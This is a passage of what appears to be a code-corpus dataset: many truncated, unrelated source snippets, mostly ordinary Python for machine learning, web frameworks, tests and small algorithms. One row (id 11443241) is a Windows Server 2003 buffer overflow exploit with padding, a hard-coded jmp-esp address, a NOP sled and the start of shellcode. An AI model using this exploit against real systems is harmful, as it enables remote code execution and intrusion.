id
stringlengths
3
8
content
stringlengths
100
981k
11443054
from abc import ABCMeta, abstractmethod import cloudpickle import numpy as np try: import torch except ImportError: has_torch = False else: has_torch = True from abcpy.NN_utilities.utilities import load_net, save_net from abcpy.NN_utilities.networks import createDefaultNN, ScalerAndNet, DiscardLas...
11443063
from django.apps import AppConfig class ActivityStreamConfig(AppConfig): name = 'activitystream'
11443068
from .experiment import * from .utils import * from .model_conversion import * from .model_oneoption import * from .model_multioptions import * from .model_aggregate import * __version__ = '0.1'
11443109
import os import time from datetime import datetime class MessageNode(): def __init__(self, msg_type, timestamp, msg, sender, receiver): self.msg_type = msg_type self.timestamp = timestamp self.msg = msg self.sender = sender self.receiver = receiver def get_output(self...
11443121
import FWCore.ParameterSet.Config as cms # current defaults are resolutions for PF jets derived from Summer11 MC; # values of udscResolutions and bResolutions (see below) can still be replaced in the user's cff or cfg; # for the unit tests, we don't mind that CALO jets will be used with PF resolutions from TopQuarkAna...
11443136
import random import numpy as np import tensorflow as tf from sklearn.metrics import roc_auc_score, average_precision_score from keras.models import load_model, Model from keras.callbacks import LearningRateScheduler, ModelCheckpoint, Callback, EarlyStopping from keras.layers import GlobalAveragePooling2D, BatchNormali...
11443141
from django.test import TestCase from wagtail.tests.utils import WagtailTestUtils # from wagtail.admin.edit_handlers import get_form_for_model # from wagtail.admin.forms import WagtailAdminModelForm, WagtailAdminPageForm from wagtail_color_panel.edit_handlers import NativeColorPanel from wagtail_color_panel.widgets i...
11443218
from django.urls import path from . import views app_name = 'rates' urlpatterns = [ path('rate-restaurant', views.RateRestaurantAPIView.as_view(), name='rate_restaurant') ]
11443234
import glob from pathlib import Path import typer app = typer.Typer() @app.command() def main(input_file_pattern: str, output_file: Path): output_file.parent.mkdir(parents=True, exist_ok=True) with output_file.open("w") as out: for input_file in glob.glob(input_file_pattern): with open(...
11443241
import socket import sys buf = 'A'*260 buf += '\x77\x38\x42\x71' #user32.dll jmp esp Windows Server 2003 buf += '\x90'*16 buf += ( "\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" "\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12" "\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc...
11443265
from PyQt5.QtWidgets import QGroupBox, QHBoxLayout, QPushButton from PyQt5.QtCore import QThread from ultimatelabeling.models.hungarian_tracker import track class HungarianManager(QGroupBox): def __init__(self, state): super().__init__("Hungarian") self.state = state self.hungarian_threa...
11443304
class Boggle: def __init__(self, board, words): self.board = board self.rows = len(board) self.columns = len(board[0]) if board else 0 self.words = words self.trie = Trie() self.visited = None self.final_words = None for word in words: self...
11443317
import os, sys i = 0 if sys.argv[i] == '--scan': scan = os.path.join('a', 'b') for path in sys.argv[i:]: if os.path.exists(path): continue with open(path, 'r') as fp: pass
11443340
def bin_to_hexadecimal(binary_str: str) -> str: """ Converting a binary string into hexadecimal using Grouping Method >>> bin_to_hexadecimal('101011111') '0x15f' >>> bin_to_hexadecimal(' 1010 ') '0x0a' >>> bin_to_hexadecimal('-11101') '-0x1d' >>> bin_to_hexadecimal('a') Traceb...
11443365
import math # taking input n = int(input('Write a number\n')) '''making a list named primes initialize primes with 1 only here 1 represent the value is prime and we believe all value are prime initially''' primes = [1]*(n+1) # making first and second values as 0 as 0, 1 is not a prime and start by checkin...
11443382
import typing class BaseSerpycoError(Exception): pass class SchemaError(BaseSerpycoError): pass class NoEncoderError(BaseSerpycoError): pass class ValidationError(BaseSerpycoError): """Raised when an error is found during validation of data. :param msg: formatted exception message(s). :...
11443437
import os import time import mock from dccautomation import ( compat, bootstrap, client, common, configs, inproc, server, utils) from . import systemtest_mixins @mock.patch('os.environ', {}) class StartServerWithHandshakeTests(systemtest_mixins.SystemTests, compat.unittest.Te...
11443452
import torch from torch.utils.data import Sampler, DistributedSampler, Dataset class InfSampler(Sampler): def __init__(self, dataset: Dataset, shuffle: bool = True) -> None: self.dataset = dataset self.shuffle = shuffle self.reset_sampler() def reset_sampler(self): num = len(self.dataset) ind...
11443473
from gensim.models import Word2Vec import eval_data_helpers #################### config ################### modelfile = "../wvmodel/size300window5sg1min_count100negative10iter50.model" pattern_file = "../data/eval_data.txt" output_file = "../data/phrase_gen.txt" ############### end of config ################# ...
11443475
from validator.rules import JSON def test_json_01(): assert JSON().check("{}") assert JSON().check('{ "age":100}') assert JSON().check('{"age":100 }') assert JSON().check( '[ {"name":"Ram", "email":"<EMAIL>"}, {"name":"Bob", "email":"<EMAIL>"}]' ) assert JSON().check( '{"d...
11443498
from __future__ import print_function import torch import argparse import yaml from trainer import Trainer torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark=False def make_flags(args,config_file): if config_file: config = yaml.load(open(config_file)) dic = vars(args) ...
11443501
import os import re import sys import fileinput def read_env_variable(var): if os.environ.get(var, 'undef') != 'undef': print (var + ' is set') else: print (var + ' not set') return os.environ.get(var, 'undef') def set_secret_in_file(file, variable, value): f = fileinput.FileInput(fi...
11443528
def decorator(decorating_func): """ takes a decorator and fixes it a bit. """ def new_decorator(func): decorated_func = decorating_func(func) decorated_func.__name__ = func.__name__ decorated_func.__doc__ = func.__doc__ decorated_func.__dict__.update(func.__dict__) return decorated_func new_de...
11443576
import datetime import bs4 import flask import freezegun import pytest from flask import url_for from flask_saml2.exceptions import CannotHandleAssertion from flask_saml2.utils import utcnow from .base import SamlTestCase, User class TestEndToEnd(SamlTestCase): """ Test the SP and IdP as a user/browser, go...
11443611
import os import sample_data class SampleData: def __init__(self): self.module_path = os.path.dirname(sample_data.__file__) self.dem = os.path.join(self.module_path, 'poland_dem_gorzow_wielkopolski') self.accidents = os.path.join(self.module_path, 'areal_data/road_accidents.shp') ...
11443634
from setuptools import setup, find_packages import versioneer project_name = 'phconvert' # Metadata long_description = """ phconvert ========== Convert Beker&Hickl, PicoQuant and other formats used in single-molecule spectroscopy (e.g. smFRET, FCS, PIFE) to `Photon-HDF5 <http://photon-hdf5.org/>`_ files. Easy insta...
11443644
apiAttachAvailable = u'API Kullanilabilir' apiAttachNotAvailable = u'Kullanilamiyor' apiAttachPendingAuthorization = u'Yetkilendirme Bekliyor' apiAttachRefused = u'Reddedildi' apiAttachSuccess = u'Basarili oldu' apiAttachUnknown = u'Bilinmiyor' budDeletedFriend = u'Arkadas Listesinden Silindi' budFriend = u'Arka...
11443694
from ctypes import * from ctypes.wintypes import * class LIST_ENTRY(Structure): pass class LDR_DATA_TABLE_ENTRY(Structure): pass class LDR_LIST_ENTRY_U(Union): _fields_ = [ ("list", POINTER(LIST_ENTRY)), ("entry", POINTER(LDR_DATA_TABLE_ENTRY)), ] LIST_ENTRY._fields_ = [ ("Flink...
11443757
import qt class CollapsibleMultilineText(qt.QTextEdit): """Text field that expands when it gets the focus and remain collapsed otherwise""" def __init__(self): super(CollapsibleMultilineText, self).__init__() self.minHeight = 20 self.maxHeight = 50 self.setFixedHeight(self.minHe...
11443775
from .registry import composeFunction from .simple import ScalarWindowFunction composeFunction( 'sdd', 'sd(delta(x1),window=20)', docs='''\ This is a shortcut function for calculating the standard deviation of changes. Therefore: .. math:: {\\tt sdd}(y_t,w) = {\tt sd}({\\tt delta}(y_t),...
11443876
import re from django import template from django.core.urlresolvers import reverse from django.contrib.sites.models import Site from django.db.models import Count from taggit.models import Tag, TaggedItem from blogango.views import _get_archive_months from blogango.models import Blog, BlogEntry register = template.L...
11443962
import agate from dbt.adapters.azuresynapse import AzureSynapseConnectionManager from dbt.adapters.sql import SQLAdapter class AzureSynapseAdapter(SQLAdapter): ConnectionManager = AzureSynapseConnectionManager @classmethod def date_function(cls) -> str: return "get_date()" @classmethod d...
11443989
import os from apps.common.model.Config import Config class CN(object): # print("#######################INTO CN######################") textDict = {} # print("#######################GET CN DICT######################") if len(textDict) == 0: # print("#######################INTO CN INIT##########...
11444006
from tests.utils import W3CTestCase class TestFlexbox_NestedFlex(W3CTestCase): vars().update(W3CTestCase.find_tests(__file__, 'flexbox_nested-flex'))
11444012
from functools import partial import click from curlylint.rules.aria_role.aria_role import aria_role from curlylint.rules.django_forms_rendering.django_forms_rendering import ( django_forms_rendering, ) from curlylint.rules.html_has_lang.html_has_lang import html_has_lang from curlylint.rules.image_alt.image_alt ...
11444016
import numpy as np from sklearn import datasets import matplotlib.pyplot as plt from scratch_ml.supervised_learning import LDA from scratch_ml.utils import normalize, train_test_split, Plot, accuracy_score def main(): print("Linear Discriminant Analysis") data = datasets.load_iris() x = data.data y =...
11444062
import secp256k1 import hashlib from binascii import hexlify def secp256k1_example(): """Usage example for secp256k1 usermodule""" # randomize context from time to time # - it helps against sidechannel attacks # secp256k1.context_randomize(os.urandom(32)) # some random secret key secret = has...
11444068
from jumpscale.loader import j from jumpscale.sals.chatflows.chatflows import StopChatFlow, chatflow_step from jumpscale.sals.reservation_chatflow import deployer, deployment_context from jumpscale.packages.tfgrid_solutions.sals.network_chat_base import NetworkBase class NetworkAccess(NetworkBase): steps = ["star...
11444088
import os project_dir = os.path.dirname(os.path.abspath(__file__)) JAR_FILENAME = "timeextractor-jar-with-dependencies.jar" PATH_TO_JAR = os.path.join(project_dir, JAR_FILENAME) JavaSettingsConstructorParams = ['date', 'timezoneOffset', 'rulesToIgnore', 'rulesToInclude', 'includeOnlyLatestDates'] def set_class_path(...
11444095
import logging class MockLoggingHandler(logging.Handler): """Mock logging handler to check for expected logs.""" def __init__(self, *args, **kwargs): self.messages = [] super(MockLoggingHandler, self).__init__(*args, **kwargs) def emit(self, record): self.messages.append(self.for...
11444134
from functools import cached_property from pydantic import BaseModel import numpy as np from .polyline import Polyline from .position import Position __all__ = ['Polyline', 'Position', 'BBXCornersClass'] def rot_x(x, y, phi): return x * np.cos(phi) - y * np.sin(phi) def rot_y(x, y, phi): ...
11444137
import tensorflow as tf import tensorflow.keras as ks import numpy as np class ConstLayerNormalization(ks.layers.Layer): """ Layer normalization with constant scaler of input. Note that this sould be replaced with keras normalization layer where trainable could be altered. The standardization is done ...
11444170
import os import subprocess one_to_two = "MAINNET \= 1" one_to_two_II = "chainId\:\"1\"" one_to_two_III = "chainId\:1" one_to_two_IV ="1\: \'mainnet\'" one_to_two_V = "1\:\"0xa80171aB64F9913C5d0Df5b06D00030B4febDD6A\"" one_to_two_VI = "1\: \"0xa80171aB64F9913C5d0Df5b06D00030B4febDD6A\"" new_value = "MAINNET \= 2" new...
11444209
from bluedot import BlueDot from picamera import PiCamera from signal import pause dot = BlueDot() cam = PiCamera() def take_picture(): cam.capture("pic.jpg") dot.when_pressed = take_picture pause()
11444259
import pytest from stock_indicators import indicators from stock_indicators.indicators.common.enums import MAType class TestMAEnvelopes: def test_alma(self, quotes): results = indicators.get_ma_envelopes(quotes, 10, 2.5, MAType.ALMA) assert 502 == len(results) assert 493 == len(list(filter...
11444334
import requests_html, openpyxl, ntpath, os, datetime import PySimpleGUI as sg import numpy as np import pandas as pd from bs4 import BeautifulSoup as BSoup from requests.exceptions import ConnectionError from requests.exceptions import ReadTimeout from openpyxl.utils.dataframe import dataframe_to_rows from bold...
11444365
from ....Methods.Slot.Slot import SlotCheckError class S14_Rbo0CheckError(SlotCheckError): """ """ pass class S14_Rbo1CheckError(SlotCheckError): """ """ pass
11444421
import logging, traceback, time ''' Phidget abstraction layer ''' from Phidgets.Manager import Manager from Phidgets import Devices from Phidgets.PhidgetException import PhidgetException _ENCODER_TICKS_PER_REVOLUTION = 80 class __PhidgetWrapper: def __init__(self, phidget): self._phidget = p...
11444438
import json import pytest import responses from flask_pyoidc.provider_configuration import ProviderConfiguration, ClientRegistrationInfo, ProviderMetadata, \ ClientMetadata, OIDCData class TestProviderConfiguration(object): PROVIDER_BASEURL = 'https://op.example.com' def provider_metadata(self, **kwargs...
11444507
from builtins import object import json import falcon from datetime import datetime from ddt import ddt, data import pytz from tests import RestTestBase from monitorrent.rest.settings_execute import SettingsExecute @ddt class SettingsExecuteTest(RestTestBase): class Bunch(object): pass def test_is_au...
11444631
from .pid2 import pid2 from .pid import pid from .ott import ott from .var import var from .rma import rma
11444639
import asyncio import os import unittest from unittest.mock import patch import uvloop from aiologger import Logger class UvloopIntegrationTests(unittest.TestCase): def setUp(self): r_fileno, w_fileno = os.pipe() self.read_pipe = os.fdopen(r_fileno, "r") self.write_pipe = os.fdopen(w_fil...
11444682
from typing import Optional, List, Dict, Tuple from pydantic import BaseModel from autonetkit.network_model.types import DeviceType class SimplifiedNode(BaseModel): id: Optional[str] label: Optional[str] type: Optional[DeviceType] x: Optional[int] = 0 y: Optional[int] = 0 asn: Optional[int] ...
11444685
import argparse import wikipedia from fpdf import FPDF class PDF(FPDF): def chapter_title(self, label): # Arial 12 self.set_font('Arial', '', 12) # Background color self.set_fill_color(200, 220, 255) # Title self.cell(0, 6, '%s' % (label), 0, 1, 'L', 1) # Li...
11444690
import base64 import datetime import json from typing import Tuple from celery.exceptions import Retry from flask import current_app from notifications_utils.statsd_decorators import statsd from sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound from app import notify_celery, statsd_client from app.config ...
11444728
from mac_alias import Bookmark def test_simple_bookmark(): b = Bookmark.for_file('/Applications') assert b is not None
11444788
import os import pytorch_lightning class NoOp(pytorch_lightning.callbacks.ModelCheckpoint): def __init__(self, **kwargs): super(NoOp, self).__init__( filepath=os.getcwd(), monitor="", verbose=False, save_top_k=0, period=0, save_weights...
11444837
from .partition import PostgresPartitionOperation class PostgresDeletePartition(PostgresPartitionOperation): """Deletes a partition that's part of a :see:PartitionedPostgresModel.""" def state_forwards(self, app_label, state): model = state.models[(app_label, self.model_name_lower)] model.del...
11444841
import tensorflow as tf import os import scipy.io def weight_variable(shape, stddev=0.02, name=None): # print(shape) initial = tf.truncated_normal(shape, stddev=stddev) if name is None: return tf.Variable(initial) else: return tf.get_variable(name, initializer=initial) def bias_varia...
11444855
import json import boto3 import datetime ### Step in the testing framework's step function to update end timestamp and ### move the testing to the next test. session = boto3.Session(region_name = 'us-west-2') s3 = session.resource("s3") ddb = session.client("dynamodb") CONFIG_TABLE = 'datalake-test-config' def lamb...
11444861
import torch from ..networks import FCNN from ..utils import vstack, hstack, split_columns class DiscreteSolution1D: def __init__(self, ts, *us): self.ts = ts self.us_tuple = torch.stack(us, dim=1) def __call__(self, ts): ret_u = [] for t in ts: for i in range(len(...
11444888
import hashlib import functools import glob import sublime import sublime_plugin import urllib.request, urllib.parse, urllib.error import threading import json import types import os import re import time import sys import imp import re import logging swi_folder = os.path.dirname(os.path.realpath(__file__)) if not swi...
11444916
from hookup.utils import PROJECT_DIR from hookup.flask_ngrok import run_with_ngrok from flask import Flask, render_template, request from flask_cors import CORS from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager import pathlib import jinja2 __version__ = "v1.2.0" __version_client__ = "v1.1....
11444918
import os.path import subprocess import shutil import sys import shlex import random from datetime import date contech_path = "/local/contech/compile" middle_path = "/home/caparrov/contech/middle" output_file = "erm.out" log_file = "erm.log" # _______________Instrument bitcode _______________ bitcode_file_name = '...
11444921
import sys import math import os from shutil import copyfile from os import path sourceFilePath = "./src/fpga/rtl/" tbFilePath = "./src/fpga/tb/" def writeIncludeFile(pretrained,numDenseLayers,dataWidth,layers,sigmoidSize,weightIntSize): # Create target Directory if don't exist if not os.path.exists(sourceFil...
11444925
from . import hcp_basis,hcp_ops from . import boson_basis,boson_ops from . import spf_basis,spf_ops
11444931
from labml.configs import option, hyperparams, aggregate from labml.internal.configs.base import Configs class ParentConfigs(Configs): p1: str = 'p1_default' p2: str = 'p2_default' calc1: str @option(ParentConfigs.calc1) def sample_model(c: ParentConfigs): return c.p1 + c.p2 + ' calc' class Module...
11444943
import unittest from pipeop import pipes def add2(a, b): return a + b def add3(a, b, c): return a + b + c class PipeOpTestCase(unittest.TestCase): @pipes def test_pipe_one_arg(self): assert [1, 2, 3] >> sum() == 6 @pipes def test_pipe_two_args(self): assert 1 >> add2(2) =...
11444979
import json import yaml import pandas as pd import pytest import dtspec.api # pylint: disable=redefined-outer-name def parse_sources(sources): "Converts test data returned from dtspec api into Pandas dataframes" return { source_name: pd.DataFrame.from_records(data.serialize()) for source_...
11445000
import logging import fmcapi def test__application_tag(fmc): logging.info("Testing ApplicationTag class.") obj1 = fmcapi.ApplicationTags(fmc=fmc) logging.info("All ApplicationTag -- >") result = obj1.get() logging.info(result) logging.info(f"Total items: {len(result['items'])}") del obj1...
11445010
import torch @torch.jit.script def f(x): return x + 4.0 @torch.jit.script def main(): t = torch.tensor([[1.2, 3.4, 5.6], [2.3, 4.5, 6.7]]) t2 = f(t) print("Hello world from TorchScript -> Knossos!")
11445049
from onqg.models.encoders.RNNEncoder import RNNEncoder from onqg.models.encoders.TransfEncoder import TransfEncoder from onqg.models.encoders.GATEncoder import GATEncoder from onqg.models.encoders.GGNNEncoder import GGNNEncoder # from onqg.models.encoders.GCNEncoder import GCNEncoder
11445145
from urllib.request import urlopen, Request from urllib.parse import quote_plus from base64 import b64encode import json import time from Twitter2BVDConfig import hashtags, sleep, apiKey, apiSecret, bvdUrl, bvdApiKey # comment out below two lines for verbose http #import http.client #http.client.HTTPConnection.debugle...
11445149
import argparse import os import sys import tabulate import time import torch import torch.nn.functional as F import curves import data import models import utils import numpy as np parser = argparse.ArgumentParser(description='DNN curve training') parser.add_argument('--dir', type=str, default='Para14/', metavar='DI...
11445172
from django.contrib.postgres.indexes import GinIndex from django.db import models from django.urls import reverse from modeltrans.fields import TranslationField class Category(models.Model): name = models.CharField(max_length=255) i18n = TranslationField(fields=("name",)) class Meta: indexes = ...
11445173
import numpy as np from functools import lru_cache class Weights(object): def __init__(self, mean, std, sample_size, zeros=0, is_count=True): super(Weights, self).__init__() self.mean = mean self.std = std self.sample_size = sample_size # Count metrics require positive int...
11445196
import datetime import pytest from crowdin_api.parser import dumps, loads @pytest.mark.parametrize( "in_value, out_value", ( ('{"int": 1}', {"int": 1}), ('{"float": 3.14}', {"float": 3.14}), ('{"string": "some string"}', {"string": "some string"}), ( '{"datetime": ...
11445213
import sys from celery.bin.celery import celery as celery_main from django.core.management.base import BaseCommand class Command(BaseCommand): """ Thin wrapper to the `celery` command that includes the Nautobot Celery app context. This allows us to execute Celery commands without having to worry abou...
11445229
import tensorflow as tf import tensorflow_datasets as tfds import numpy as np from preprocess import sentiment_dataset from model import cnn_model from path_explain.utils import set_up_environment from absl import app from absl import flags FLAGS = flags.FLAGS flags.DEFINE_integer('batch_size', 128, 'Model batch size...
11445335
import click from lhotse.bin.modes import prepare from lhotse.recipes.peoples_speech import prepare_peoples_speech from lhotse.utils import Pathlike @prepare.command(context_settings=dict(show_default=True)) @click.argument("corpus_dir", type=click.Path(exists=True, dir_okay=True)) @click.argument("output_dir", type...
11445337
import os import grp from pathlib import Path def up(config, database, semester, course): # Redo permissions from previous migrations (in case of error # related to system user name changes) course_dir = Path(config.submitty['submitty_data_dir'], 'courses', semester, course) images_dir = Path(config....
11445369
import logging import sys from enum import Enum import numpy """A dictionary of useful constants. Whilst the dictionary may be modified directly, it is safer to retrieve and set the values with the dedicated get-and-set functions. :Keys: ATOL: `float` The value of absolute tolerance for testing numerical...
11445378
from bisect import bisect def get_next_perm(num): num_str = str(num) # if the number is already maxed out, return it max_val_str = "".join(sorted(num_str, reverse=True)) if max_val_str == num_str: return num # find the point n the number at which there is # a chance to increase the n...
11445384
from rest_framework import serializers from tests.testapp.models import Book, Course, Student, Phone from drf_pretty_update.serializers import NestedModelSerializer from drf_pretty_update.fields import NestedField class PhoneSerializer(NestedModelSerializer): class Meta: model = Phone fields = ['n...
11445409
import numpy as np from collections import Counter class HistogramComparison: def __init__(self): pass def density_estimator(self, distribution): ''' Normalize a histogram distribution Args: distribution: Counter object representing a histogram Returns: ...
11445484
from anonymization import Anonymization, DictionaryAnonymizer dic = ['this', 'a', 'with', 'secret', 'is', 'to', 'a', 'message'] text = "This is a message to Marco with a secret: zedsdml" anon = Anonymization(None) dictionaryAnonymizer = DictionaryAnonymizer(dic)(anon) print(dictionaryAnonymizer.anonymize(text)...
11445491
import picobox @picobox.pass_("conf") def session(conf): class Session: connection = conf["connection"] return Session() @picobox.pass_("session") def compute(session): print(session.connection) box = picobox.Box() box.put("conf", {"connection": "sqlite://"}) box.put("session", factory=sessio...
11445495
import os import tempfile from kaishi.image.file_group import ImageFileGroup def test_init_and_load_dir(): test = ImageFileGroup("tests/data/image", recursive=True) assert len(test.files) > 0 def test_load_all(): test = ImageFileGroup("tests/data/image", recursive=True) test.load_all() assert su...
11445523
import numpy as np import pandas as pd from matplotlib.testing.decorators import image_comparison from ewatercycle.analysis import hydrograph @image_comparison( baseline_images=["hydrograph"], remove_text=True, extensions=["png"], savefig_kwarg={"bbox_inches": "tight"}, ) def test_hydrograph(): n...
11445591
from collections import namedtuple import ctypes import os from typing import Sequence import kmeans1d._core # type: ignore Clustered = namedtuple('Clustered', 'clusters centroids') _DLL = ctypes.cdll.LoadLibrary(kmeans1d._core.__file__) version_txt = os.path.join(os.path.dirname(__file__), 'version.txt') with op...
11445605
from abc import ABC, abstractmethod from bs4.element import Tag from string import Template import textwrap class ClickOptionCodeFragment(ABC): def __init__(self, tag: Tag): self._tag_content = tag self._name = tag.name self._template = self.TEMPLATE_CREATE self.__help = 'ToDo' ...
11445642
from secml.optim.constraints.tests import CConstraintTestCases from secml.optim.constraints import CConstraintL2 from secml.array import CArray class TestCConstraintL2(CConstraintTestCases): """Unittest for CConstraintL2.""" def setUp(self): self.c = CConstraintL2(center=1, radius=1) self.c_...
11445697
from amitools.vamos.astructs import ProcessStruct, CLIStruct, PathListStruct from .atype import AmigaTypeWithName, AmigaType from .atypedef import AmigaTypeDef from .node import NodeType @AmigaTypeDef(PathListStruct) class PathList(AmigaType): pass @AmigaTypeDef(CLIStruct) class CLI(AmigaType): pass @Amig...
11445701
from luigi_gcloud.storage import GCSTarget, GCSFlagTarget from luigi_gcloud.gcore import get_default_client class GSStoragePathWrapper: def __init__(self, path): _client = get_default_client() self._bucket = _client.get("var", "bucket") self._path = path def part(self, part): ...
11445724
print('hi in py', flush=True) import glob import os from pathlib import Path import numpy as np import face_recognition def main(): # Starting of main print('in py af', flush=True) home = str(os.path.dirname(os.path.abspath(__file__))) + "/../../" print(home) file_names = glob.glob(home + "known_p...
11445736
import os import subprocess import re files = [f for f in os.listdir('.') if re.match(r'^application', f)] for f1 in files: if not re.search(r'congestion', f1): proc = subprocess.Popen(['gnuplot','-p'], shell=True, stdin=subprocess.PIPE, ) proc.stdin.write('set terminal png s...
11445755
import pytest from scrapy.utils.test import get_crawler @pytest.fixture def settings(): """ Returns a dictionary with all required settings defined for the extension to work correctly """ return { "DOTSCRAPY_ENABLED": True, "ADDONS_S3_BUCKET": "s3_bucket", "ADDONS_AWS_ACCESS_KEY_ID": "...
11445792
from pysen._version import __version__ from pysen.py_version import VersionRepresentation def test__version() -> None: # version string MUST be in a format the VersionRepresentation understands VersionRepresentation.from_str(__version__)
11445822
from datetime import datetime from .tables import SessionsBase async def clean(): """ Removes any sessions from the table which have expired. """ print("Removing old sessions ...") now = datetime.now() await SessionsBase.delete().where(SessionsBase.expiry_date < now).run() print("Successf...
11445888
import sys class Head(object): def __init__(self, lines, fd=sys.stdout): self.lines = lines self.fd = fd def write(self, msg): if self.lines <= 0: return n = msg.count('\n') if n < self.lines: self.lines -= n return self.fd.write(msg) ix...